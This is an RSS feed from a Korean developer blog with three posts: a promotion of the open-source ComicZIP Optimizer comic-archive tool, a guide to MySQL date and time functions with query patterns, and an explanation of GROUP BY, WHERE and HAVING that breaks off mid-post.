<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>정집사의 개발로그</title>
    <link>https://eyecandyzero.tistory.com/</link>
    <description>개발자로 일하면서 부딪히는 문제풀이가 누군가에게 도움이 되길 바라며</description>
    <language>ko</language>
    <pubDate>Wed, 13 May 2026 02:32:36 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>Dongkkase</managingEditor>
    <image>
      <title>정집사의 개발로그</title>
      <url>https://tistory1.daumcdn.net/tistory/270034/attach/9159ff33e70542feafbb907326a65988</url>
      <link>https://eyecandyzero.tistory.com</link>
    </image>
    <item>
      <title>CBZ 만화 압축파일 정리 도구 &amp;ndash; ComicZIP Optimizer (Comic Archive Optimizer)</title>
      <link>https://eyecandyzero.tistory.com/512</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;b&gt;Plex, Kavita, YACReader&lt;/b&gt; 같은 서버를 운영 중이신가요?&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;수집한 압축 파일들의 내부 구조가 엉망이거나, 용량이 너무 커서 하드디스크가 비명을 지르고 있다면 주목해 주세요. 내부 파일을 스마트하게 정리하고 고효율 WebP로 변환해 주는 강력한 툴, &lt;b&gt;ComicZIP Optimizer(코믹집 옵티마이저)&lt;/b&gt;를 소개합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  한눈에 보는 작동 데모&lt;/h2&gt;
&lt;p&gt;&lt;img src=&quot;https://raw.githubusercontent.com/dongkkase/ComicZIP_Optimizer/main/demo/demo.gif&quot; alt=&quot;Demo&quot; /&gt;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;✨ 이런 기능이 있어요!&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ComicZIP Optimizer는 단순한 압축 툴이 아닙니다. 수집가들이 가장 번거로워하는 작업을 &lt;b&gt;자동화&lt;/b&gt;하는 데 특화되어 있습니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;1️⃣ 지능형 타이틀 추출 (Deep Scan)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;다운로드 받은 파일명이 의미 없는 해시 코드(&lt;code&gt;a1b2c3d4...&lt;/code&gt;)나 &lt;code&gt;temp&lt;/code&gt; 같은 폴더로 되어 있어도 걱정 마세요. 내부를 역추적해 &lt;b&gt;진짜 책 제목&lt;/b&gt;을 찾아내고, &lt;code&gt;[고화질]&lt;/code&gt;, &lt;code&gt;(미완)&lt;/code&gt; 같은 불필요한 태그는 알아서 정제해 줍니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;2️⃣ 초고속 다중 스레드 WebP 변환&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;JPG나 PNG로 된 만화책을 &lt;b&gt;WebP&lt;/b&gt;로 변환해 보세요. 화질 저하를 최소화하면서도 용량은 획기적으로 줄어듭니다. 내 컴퓨터의 CPU 성능을 100% 활용해 변환 속도가 정말 빠릅니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;3️⃣ 폴더 구조 평탄화 (Flattening)&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;e-book 리더기에서 인식 오류를 일으키는 주범인 '이중/삼중 폴더'를 한 번에 제거합니다. 모든 이미지를 최상단(Root)으로 끌어올려 어떤 기기에서도 깔끔하게 읽히도록 만듭니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;4️⃣ 스마트한 분리 및 병합&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;여러 권이 한 압축 파일에 섞여 있나요? 트리(Tree) 뷰 미리보기를 통해 클릭 몇 번으로 각 권별로 분리하고 다시 깔끔하게 압축할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  주요 기능 요약&lt;/h2&gt;
&lt;table data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th align=&quot;left&quot;&gt;기능&lt;/th&gt;
&lt;th align=&quot;left&quot;&gt;상세 설명&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;압축 정리&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;통합 압축 파일을 개별 볼륨으로 자동 분리 및 병합&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;이름 변경&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;내부 이미지 파일명 일괄 변경 (숫자 패딩, 영문 스타일 등)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;포맷 변환&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;ZIP, CBZ, CBR, 7Z 간의 자유로운 포맷 변경 지원&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td align=&quot;left&quot;&gt;&lt;b&gt;용량 최적화&lt;/b&gt;&lt;/td&gt;
&lt;td align=&quot;left&quot;&gt;고효율 WebP 변환 (무손실 압축 옵션 제공)&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  프로그램 스크린샷&lt;/h2&gt;
&lt;div style=&quot;display: flex; justify-content: space-around; gap: 10px;&quot;&gt;&lt;img src=&quot;https://raw.githubusercontent.com/dongkkase/ComicZIP_Optimizer/main/demo/demo1_ko.png&quot; width=&quot;48%&quot; /&gt; &lt;img src=&quot;https://raw.githubusercontent.com/dongkkase/ComicZIP_Optimizer/main/demo/demo2_ko.png&quot; width=&quot;48%&quot; /&gt;&lt;/div&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  다운로드 및 실행 방법 (무설치 포터블)&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;ComicZIP Optimizer는 별도의 설치 과정이 필요 없습니다. 다운로드 후 바로 실행 가능합니다.&lt;/p&gt;
&lt;ol style=&quot;list-style-type: decimal;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li&gt;&lt;b&gt;&lt;a href=&quot;https://github.com/dongkkase/ComicZIP_Optimizer/releases&quot;&gt;GitHub Releases&lt;/a&gt;&lt;/b&gt; 페이지에 접속합니다.&lt;/li&gt;
&lt;li&gt;최신 버전의 &lt;code&gt;ComicZIP_Optimizer.zip&lt;/code&gt; 파일을 다운로드합니다.&lt;/li&gt;
&lt;li&gt;압축을 풀고 안의 &lt;b&gt;&lt;code&gt;ComicZIP_Optimizer.exe&lt;/code&gt;&lt;/b&gt;를 실행하면 끝!&lt;/li&gt;
&lt;/ol&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;  라이선스 및 기술 스택&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 프로젝트는 &lt;b&gt;MIT License&lt;/b&gt;를 따르는 오픈소스 소프트웨어입니다. 누구나 자유롭게 사용, 수정, 배포할 수 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&lt;b&gt;Language:&lt;/b&gt; Python 3&lt;/li&gt;
&lt;li&gt;&lt;b&gt;GUI:&lt;/b&gt; PyQt6&lt;/li&gt;
&lt;li&gt;&lt;b&gt;Engine:&lt;/b&gt; Pillow (이미지 처리), 7-Zip (압축 처리)&lt;/li&gt;
&lt;/ul&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;</description>
      <category>Programing/공유</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/512</guid>
      <comments>https://eyecandyzero.tistory.com/512#entry512comment</comments>
      <pubDate>Sun, 15 Mar 2026 11:46:02 +0900</pubDate>
    </item>
    <item>
      <title>MySQL 날짜/시간 함수 정리 및 자주 쓰는 패턴 모음 (MySQL Date and Time Functions)</title>
      <link>https://eyecandyzero.tistory.com/511</link>
      <description>&lt;h2&gt;왜 날짜/시간 처리가 중요한가?&lt;/h2&gt;
&lt;p&gt;데이터베이스를 다루는 실무에서 날짜와 시간은 빠질 수 없는 요소입니다. 예약 시스템, 통계 분석, 매출 집계, 보고서 작성 등 대부분의 업무에서 시간 정보를 다뤄야 하며, MySQL은 이를 위한 다양한 함수를 제공합니다. 하지만 함수가 워낙 많다 보니 초보자부터 숙련자까지 종종 혼동을 겪곤 합니다. 이번 글에서는 MySQL 날짜/시간 함수의 기본과 실무에서 유용하게 쓸 수 있는 패턴들을 정리해보겠습니다.&lt;/p&gt;
&lt;hr&gt;
&lt;h2&gt;A. 날짜/시간 관련 주요 함수&lt;/h2&gt;
&lt;h3&gt;NOW(), CURDATE(), CURTIME()&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;NOW()&lt;/strong&gt; : 현재 날짜와 시간을 반환합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT NOW(); -- 2025-06-30 14:23:12&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CURDATE()&lt;/strong&gt; : 현재 날짜만 반환합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT CURDATE(); -- 2025-06-30&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;CURTIME()&lt;/strong&gt; : 현재 시간만 반환합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT CURTIME(); -- 14:23:12&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;이 함수들은 로그 기록, 생성일·수정일 관리, 실시간 데이터 표시에 자주 활용됩니다.&lt;/p&gt;
&lt;h3&gt;DATE_ADD(), DATE_SUB()&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;날짜를 더하거나 빼고 싶을 때 사용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT DATE_ADD(NOW(), INTERVAL 7 DAY);
SELECT DATE_SUB(NOW(), INTERVAL 1 MONTH);&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;예약일 계산, 프로모션 기간 산출 등에 유용합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DATEDIFF(), TIMESTAMPDIFF()&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;두 날짜 사이의 차이를 구할 때 사용합니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT DATEDIFF(&amp;#39;2025-07-10&amp;#39;, &amp;#39;2025-06-30&amp;#39;); -- 10
SELECT TIMESTAMPDIFF(MONTH, &amp;#39;2025-01-01&amp;#39;, &amp;#39;2025-06-30&amp;#39;); -- 5&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;TIMESTAMPDIFF는 일 뿐 아니라 연도, 월, 시간 단위까지 선택할 수 있어 유연성이 큽니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DATE_FORMAT(), TIME_FORMAT()&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;날짜와 시간을 원하는 형식으로 출력할 수 있습니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT DATE_FORMAT(NOW(), &amp;#39;%Y-%m-%d %H:%i&amp;#39;);
SELECT TIME_FORMAT(CURTIME(), &amp;#39;%H:%i&amp;#39;);&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;리포트 작성, 사용자 화면 표시 시 필수적으로 쓰입니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;UNIX_TIMESTAMP(), FROM_UNIXTIME()&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;유닉스 타임스탬프와 상호 변환할 때 사용됩니다.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT UNIX_TIMESTAMP(&amp;#39;2025-06-30 14:23:12&amp;#39;);
SELECT FROM_UNIXTIME(1750000000);&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;li&gt;&lt;p&gt;시스템 간 데이터 교환이나 로그 저장 시 중요합니다.&lt;/p&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;B. 자주 쓰는 패턴 모음&lt;/h2&gt;
&lt;h3&gt;최근 7일간 데이터 조회&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM orders
WHERE order_date &amp;gt;= DATE_SUB(CURDATE(), INTERVAL 7 DAY);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;이번 달 데이터만 가져오기&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM sales
WHERE DATE_FORMAT(order_date, &amp;#39;%Y-%m&amp;#39;) = DATE_FORMAT(NOW(), &amp;#39;%Y-%m&amp;#39;);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;특정 날짜 포맷으로 출력&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT DATE_FORMAT(NOW(), &amp;#39;%Y년 %m월 %d일 %H시 %i분&amp;#39;);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;두 날짜 간 차이 계산&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT DATEDIFF(&amp;#39;2025-07-10&amp;#39;, &amp;#39;2025-06-30&amp;#39;) AS diff_days;&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;시간대별 방문자 수 집계&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT HOUR(created_at) AS hour_slot,
       COUNT(*) AS visit_count
FROM visit_log
WHERE created_at &amp;gt;= CURDATE()
GROUP BY HOUR(created_at);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;분기별 데이터 집계&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT QUARTER(order_date) AS quarter,
       SUM(amount) AS total_sales
FROM orders
GROUP BY QUARTER(order_date);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;특정 요일의 데이터만 조회&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM attendance
WHERE DAYOFWEEK(work_date) = 2; -- 월요일&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;전월 대비 증감 계산&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT MONTH(order_date) AS month,
       SUM(amount) AS total_sales
FROM sales
WHERE order_date BETWEEN DATE_SUB(CURDATE(), INTERVAL 2 MONTH)
                      AND LAST_DAY(DATE_SUB(CURDATE(), INTERVAL 1 MONTH))
GROUP BY MONTH(order_date);&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;C. 실무 팁&lt;/h2&gt;
&lt;h3&gt;인덱스와 날짜 조건 함께 쓰기&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;&lt;p&gt;WHERE 절에서 컬럼에 함수를 적용하면 인덱스를 잘 활용하지 못합니다. 가능하다면 컬럼 그대로 비교하세요.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 비추천
WHERE DATE(created_at) = CURDATE();

-- 추천
WHERE created_at &amp;gt;= CURDATE()
  AND created_at &amp;lt; CURDATE() + INTERVAL 1 DAY;&lt;/code&gt;&lt;/pre&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;BETWEEN vs &amp;gt;= AND &amp;lt;=&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;BETWEEN은 경계값을 포함하기 때문에 원하는 구간과 다를 수 있습니다. 특히 시간 단위 BETWEEN 사용 시 주의해야 합니다.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;TIMEZONE 관리&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;서버의 TIMEZONE과 애플리케이션의 TIMEZONE이 다르면 데이터가 어긋날 수 있습니다. 가능하면 일관되게 관리하거나 변환 로직을 추가하세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;h3&gt;DATETIME vs TIMESTAMP&lt;/h3&gt;
&lt;ul&gt;
&lt;li&gt;TIMESTAMP는 TIMEZONE에 따라 변동될 수 있고, DATETIME은 고정된 값으로 저장됩니다. 시스템 로직에 맞게 타입을 선택하세요.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr&gt;
&lt;h2&gt;예제 코드 모음&lt;/h2&gt;
&lt;h3&gt;한 달 후 예약 확인&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM reservations
WHERE reservation_date BETWEEN CURDATE()
                         AND DATE_ADD(CURDATE(), INTERVAL 1 MONTH);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;최근 30일 매출 합계&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT SUM(amount)
FROM orders
WHERE order_date &amp;gt;= DATE_SUB(CURDATE(), INTERVAL 30 DAY);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;전월 매출 조회&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT *
FROM sales
WHERE YEAR(order_date) = YEAR(CURDATE() - INTERVAL 1 MONTH)
  AND MONTH(order_date) = MONTH(CURDATE() - INTERVAL 1 MONTH);&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;일자별 주문 수 집계&lt;/h3&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;SELECT DATE(order_date) AS order_day,
       COUNT(*) AS order_count
FROM orders
GROUP BY DATE(order_date);&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;주석 예시:&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-sql&quot;&gt;-- 각 날짜별 주문 건수 출력&lt;/code&gt;&lt;/pre&gt;
&lt;hr&gt;
&lt;h2&gt;참고 링크&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html&quot;&gt;https://dev.mysql.com/doc/refman/8.0/en/date-and-time-functions.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.w3schools.com/sql/func_mysql_date_format.asp&quot;&gt;https://www.w3schools.com/sql/func_mysql_date_format.asp&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;MySQL 날짜/시간 함수는 방대하지만, 실무에서 자주 쓰는 것들부터 익히면 효율적으로 활용할 수 있습니다.&lt;/p&gt;</description>
      <category>Programing/SQL</category>
      <author>Dongkkase</author>
      <guid isPermaLink="true">https://eyecandyzero.tistory.com/511</guid>
      <comments>https://eyecandyzero.tistory.com/511#entry511comment</comments>
      <pubDate>Sat, 5 Jul 2025 17:38:22 +0900</pubDate>
    </item>
    <item>
      <title>GROUP BY, WHERE와 HAVING의 차이(SQL Basics Explained)</title>
      <link>https://eyecandyzero.tistory.com/510</link>
      <description>&lt;p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-filename=&quot;스샷 39.png&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;662&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bpe6HH/btsO1HYXvca/Jmv6s39b19YsVBrYpkA3K1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bpe6HH/btsO1HYXvca/Jmv6s39b19YsVBrYpkA3K1/img.png&quot; data-alt=&quot;그룹화된 데이터 필터링에 대한 시각적 분석&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bpe6HH/btsO1HYXvca/Jmv6s39b19YsVBrYpkA3K1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbpe6HH%2FbtsO1HYXvca%2FJmv6s39b19YsVBrYpkA3K1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1164&quot; height=&quot;662&quot; data-filename=&quot;스샷 39.png&quot; data-origin-width=&quot;1164&quot; data-origin-height=&quot;662&quot;/&gt;&lt;/span&gt;&lt;figcaption&gt;그룹화된 데이터 필터링에 대한 시각적 분석&lt;/figcaption&gt;
&lt;/figure&gt;
&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;왜 WHERE와 HAVING이 헷갈릴까?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;SQL을 공부하다 보면 많은 분들이 이렇게 묻습니다. &quot;도대체 WHERE, HAVING, 그리고 GROUP BY는 어떻게 다른 걸까요?&quot; 특히 집계 함수(Aggregate Function)와 결합될 때 이들 절의 차이가 더욱 중요해집니다. 이 글에서는 각 절의 쓰임과 차이를 단계별로 이해하기 쉽게 풀어보겠습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;WHERE란 무엇인가요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;WHERE&quot;는 &lt;b&gt;그룹핑 전에 각 레코드를 걸러내는 조건절&lt;/b&gt;입니다. 마치 요리 전에 재료 중에서 상한 재료를 미리 골라내는 것과 같다고 보면 됩니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제&lt;/h3&gt;
&lt;pre class=&quot;sql&quot;&gt;&lt;code&gt;SELECT *
FROM member
WHERE city = 'Seoul';&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 Seoul에 사는 회원만 선택합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;GROUP BY란 무엇인가요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;GROUP BY&quot;는 같은 값을 가진 데이터를 &lt;b&gt;하나의 그룹으로 묶어주는 절&lt;/b&gt;입니다. 마치 색깔별로 구슬을 분류하는 것과 비슷합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
GROUP BY city;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 도시별로 회원 수를 집계합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;GROUP BY를 왜 사용해야 할까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;데이터베이스에 저장된 수많은 개별 레코드를 &quot;같은 값으로 그룹화&quot;해야 평균, 합계, 건수 등 집계 연산을 할 수 있기 때문입니다. 단순히 SELECT만으로는 개별 행만 조회할 수 있지만, GROUP BY가 있어야 집계 함수가 의미를 가집니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;GROUP BY를 사용하는 경우&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;도시별, 지역별, 부서별 등 카테고리별 집계가 필요할 때&lt;/li&gt;
&lt;li&gt;시간 단위(일, 월, 연도 등)로 데이터를 집계할 때&lt;/li&gt;
&lt;li&gt;비즈니스 리포트나 통계 데이터를 생성할 때&lt;/li&gt;
&lt;li&gt;집계한 결과를 HAVING으로 추가 필터링하고 싶을 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;GROUP BY를 잘 활용하면 방대한 데이터를 이해하기 쉽게 요약할 수 있습니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;HAVING이란 무엇인가요?&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;HAVING&quot;은 &lt;b&gt;그룹핑된 결과에 조건을 거는 절&lt;/b&gt;입니다. 많은 사람들이 WHERE와 헷갈리는데, 이 둘의 큰 차이는 &lt;b&gt;작동 시점&lt;/b&gt;에 있습니다.&lt;/p&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;&quot;WHERE&quot;: 그룹핑 전에 조건 적용&lt;/li&gt;
&lt;li&gt;&quot;HAVING&quot;: 그룹핑 후 집계 결과에 조건 적용&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;예제&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
GROUP BY city
HAVING cnt &amp;gt;= 2;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 인원수가 2명 이상인 도시만 보여줍니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;HAVING을 왜 사용해야 할까?&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;WHERE는 개별 레코드에만 조건을 걸 수 있어서, SUM, COUNT 같은 집계 함수가 반환한 값을 바로 필터링할 수 없습니다. 이럴 때 HAVING이 필요합니다.&lt;/p&gt;
&lt;h4 data-ke-size=&quot;size20&quot;&gt;HAVING을 사용하는 경우&lt;/h4&gt;
&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;집계 결과(예: SUM, COUNT, AVG 등)가 일정 조건 이상이거나 이하인지 검사할 때&lt;/li&gt;
&lt;li&gt;그룹핑 후 특정 그룹만 추출하고 싶을 때&lt;/li&gt;
&lt;li&gt;복잡한 분석 로직을 적용해 그룹별로 필터링할 때&lt;/li&gt;
&lt;/ul&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;HAVING 없이 집계 결과를 필터링할 수 없기 때문에, GROUP BY를 쓴 후 결과를 한 번 더 선별하고 싶다면 반드시 HAVING을 사용해야 합니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;WHERE와 HAVING 비교하기&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;같은 조건이라도 WHERE와 HAVING을 어디에 쓰느냐에 따라 결과가 달라집니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;WHERE 사용&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
WHERE city = 'Seoul'
GROUP BY city;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 그룹핑 전에 Seoul만 선택해서 그룹핑합니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;HAVING 사용&lt;/h3&gt;
&lt;pre class=&quot;routeros&quot;&gt;&lt;code&gt;SELECT city, COUNT(*) AS cnt
FROM member
GROUP BY city
HAVING cnt &amp;gt;= 2;&lt;/code&gt;&lt;/pre&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;이 쿼리는 먼저 모든 도시를 그룹핑한 뒤, 인원수가 2명 이상인 도시만 남깁니다.&lt;/p&gt;
&lt;h3 data-ke-size=&quot;size23&quot;&gt;EXPLAIN으로 실행 계획 확인하기&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;code&gt;EXPLAIN&lt;/code&gt; 명령어를 사용해보면 WHERE 절이 먼저 적용되어 처리할 데이터 양이 줄어드는 것을 확인할 수 있습니다. 이는 성능 최적화에 큰 영향을 미칩니다.&lt;/p&gt;
&lt;hr data-ke-style=&quot;style1&quot; /&gt;
&lt;h2 data-ke-size=&quot;size26&quot;&gt;GROUP BY, WHERE, HAVING 함께 사용하는 법&lt;/h2&gt;
